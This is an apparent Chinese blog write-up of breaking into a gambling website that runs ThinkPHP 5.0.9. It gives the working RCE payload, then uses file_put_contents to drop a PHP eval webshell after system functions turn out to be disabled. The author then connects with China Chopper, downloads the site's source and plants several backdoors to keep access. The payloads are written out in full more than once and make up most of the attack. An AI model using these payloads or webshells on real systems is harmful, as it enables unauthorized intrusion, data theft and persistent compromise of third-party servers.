• 简单的BC站点getshell


    0x01 确定目标

    主站:

    旁站:

    0x02 漏洞利用

    通过信息收集发现是个tp v5.0.9,此版本存在tp-rce漏洞。

    直接通过payload进行测试,

    Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()
    

    查找payload,直接打:

    Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()

    发现是php 5.4.45版本的,

    直接尝试getshell:

    发现system被禁用,尝试其他系统命令的也一样。

    查看phpinfo中desable_functions禁用了那些函数。

    想办法怎么绕过进行写马(此处卡了我半天)
    最后通过一位渗透小伙伴,想出下面的可以利用file_put_contents直接写shell,想了半天,忘了用其他函数进行直接写马就可以了,并不需要非得利用system命令进行写马,还是底层知识薄弱啊。再次感谢小伙伴!

    0x03 getshell

    构造payload:

    _method=__construct&filter[]=assert&method=get&get[]=file_put_contents('a.php','<?php eval($_POST[a])?>')
    

    写入成功,利用菜刀连接。

    成功连接。
    查看权限:

    发现启动了远程安全模式。
    想要绕过,发现很多函数被禁用,占未成功。
    下载源码:

    多部署一些后门,防止被删。

    0x04 总结

    1.打开BC网站,通过底部版本信息,发现该站点框架是tp v5.0.9,存在RCE漏洞

    Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()

    2.发现是php 5.4.45版本的,直接尝试执行命令,发现system函数以及执行系统命令的函数也被禁用。

    Post:_method=__construct&filter[]=assert&method=get&get[]=whomai

    3.虽然禁用系统命令函数,可利用file_put_contents直接写shell绕过

    4.获得getshell

    构造payload:

    _method=__construct&filter[]=assert&method=get&get[]=file_put_contents('a.php','<?php eval($_POST[a])?>')

    5.写入成功,利用菜刀连接



  • 相关阅读:
    【转】java的string中,关于split空串总会返回单个元素的数组
    【转】Java实现将文件或者文件夹压缩成zip
    单例模式
    数据库隔离级别
    ckeditor+ckfinder
    extremecomponents
    在linux环境下重启oracle数据库,解决密码过期的问题
    20180918 begin
    hadoop免登录
    CentOS环境下通过YUM安装软件,搭建lnmp环境
  • 原文地址:https://www.cnblogs.com/backlion/p/15770092.html
Copyright © 2020-2023  润新知